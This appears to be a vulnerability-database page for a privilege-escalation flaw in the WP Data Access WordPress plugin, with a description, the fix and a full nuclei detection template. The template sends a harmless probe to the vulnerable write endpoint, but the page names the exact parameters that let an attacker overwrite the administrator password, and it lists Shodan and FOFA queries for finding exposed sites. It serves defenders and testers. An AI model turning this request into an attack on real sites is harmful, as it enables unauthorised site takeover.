HexBrain

Browse / CVEs / CVE-2026-118267

CVE-2026-118267· peterschulznl / wp-data-access· CWE-863

WP Data Access <= 5.5.89 - Incorrect Authorization to Privilege Escalation

highseverity
8.1CVSS score
1.6%likelihood of exploitation, next 30 days
76%of all CVEs are less likely
Readycheck to confirm it

The WP Data Access plugin for WordPress is vulnerable to Incorrect Authorization leading to Privilege Escalation in all versions up to, and including, 5.5.89. The plugin's write REST API endpoints (wpda/app/update, wpda/app/delete, wpda/app/insert) pass attacker-supplied key and val parameters directly to database operations without enforcing the container's row-filter (defaultWhere) or per-column allow-list (isSelected) restrictions that are correctly applied on read endpoints. Exploitation by unauthenticated attackers requires that an administrator has published a Data App whose rest_api.authorization is set to 'anonymous' and whose container has write transactions (update, delete, or insert) enabled. This is an explicitly advertised use-case of the plugin. When this precondition is met, an attacker can overwrite the administrator's password in wp_users and authenticate as admin for full site takeover.

Impact

When an administrator has published a Data App with anonymous REST API access and write transactions enabled, an unauthenticated attacker can write to arbitrary rows and columns in the configured database tables — including overwriting the user_pass field of the WordPress administrator account in wp_users — and subsequently authenticate as the administrator, achieving full site takeover.

Fix

Update the WP Data Access plugin to version 5.5.90 or later, which enforces defaultWhere and isSelected restrictions on all write endpoints.

How to confirm it

Send: POST /wp-json/wpda/app/update
Positive when: contains "{\"code\":\"info\"" and "\"message\":\"Nothing to update\"" AND not contains "\"code\":\"error\"" or "Unauthorized" or "Bad request" AND status 200

Run it with nuclei: nuclei -id CVE-2026-118267 -u <target>

The full check
id: CVE-2026-118267

info:
  name: WP Data Access <= 5.5.89 - Incorrect Authorization to Privilege Escalation
  author: DhiyaneshDk
  severity: high
  description: |
    The WP Data Access plugin for WordPress is vulnerable to Incorrect Authorization leading to Privilege Escalation in all versions up to, and including, 5.5.89. The plugin's write REST API endpoints (wpda/app/update, wpda/app/delete, wpda/app/insert) pass attacker-supplied key and val parameters directly to database operations without enforcing the container's row-filter (defaultWhere) or per-column allow-list (isSelected) restrictions that are correctly applied on read endpoints. Exploitation by unauthenticated attackers requires that an administrator has published a Data App whose rest_api.authorization is set to 'anonymous' and whose container has write transactions (update, delete, or insert) enabled. This is an explicitly advertised use-case of the plugin. When this precondition is met, an attacker can overwrite the administrator's password in wp_users and authenticate as admin for full site takeover.
  remediation: |
    Update the WP Data Access plugin to version 5.5.90 or later, which enforces defaultWhere and isSelected restrictions on all write endpoints.
  impact: |
    When an administrator has published a Data App with anonymous REST API access and write transactions enabled, an unauthenticated attacker can write to arbitrary rows and columns in the configured database tables — including overwriting the user_pass field of the WordPress administrator account in wp_users — and subsequently authenticate as the administrator, achieving full site takeover.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-118267
    - https://plugins.trac.wordpress.org/changeset?reponame=&new=3771310%40wp-data-access%2Ftags%2F5.5.90&old=3761178%40wp-data-access%2Ftags%2F5.5.89
    - https://wordpress.org/plugins/wp-data-access/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2026-118267
    epss-score: 0.0162
    epss-percentile: 0.76273
    cwe-id: CWE-863
  metadata:
    verified: true
    max-request: 5
    vendor: peterschulznl
    product: wp-data-access
    framework: wordpress
    shodan-query: http.html:"wp-data-access"
    fofa-query: body="wp-data-access"
  tags: cve,cve2026,wp-data-access,wordpress,wp-plugin,wp,auth-bypass,privesc,vkev

variables:
  cnt_id: "{{rand_int(1,5)}}"
  user_login: "{{randstr}}"
  user_email: "{{randstr}}@{{randstr}}.invalid"

http:
  - raw:
      - |
        POST /wp-json/wpda/app/update HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"app_id":"{{app_id}}","cnt_id":"{{cnt_id}}","key":{"user_login":"{{user_login}}"},"val":{"user_email":"{{user_email}}"}}

    payloads:
      app_id:
        - "1"
        - "2"
        - "3"
        - "4"
        - "5"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"code":"info"'
          - '"message":"Nothing to update"'
        condition: and

      - type: word
        part: body
        words:
          - '"code":"error"'
          - 'Unauthorized'
          - 'Bad request'
        negative: true

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from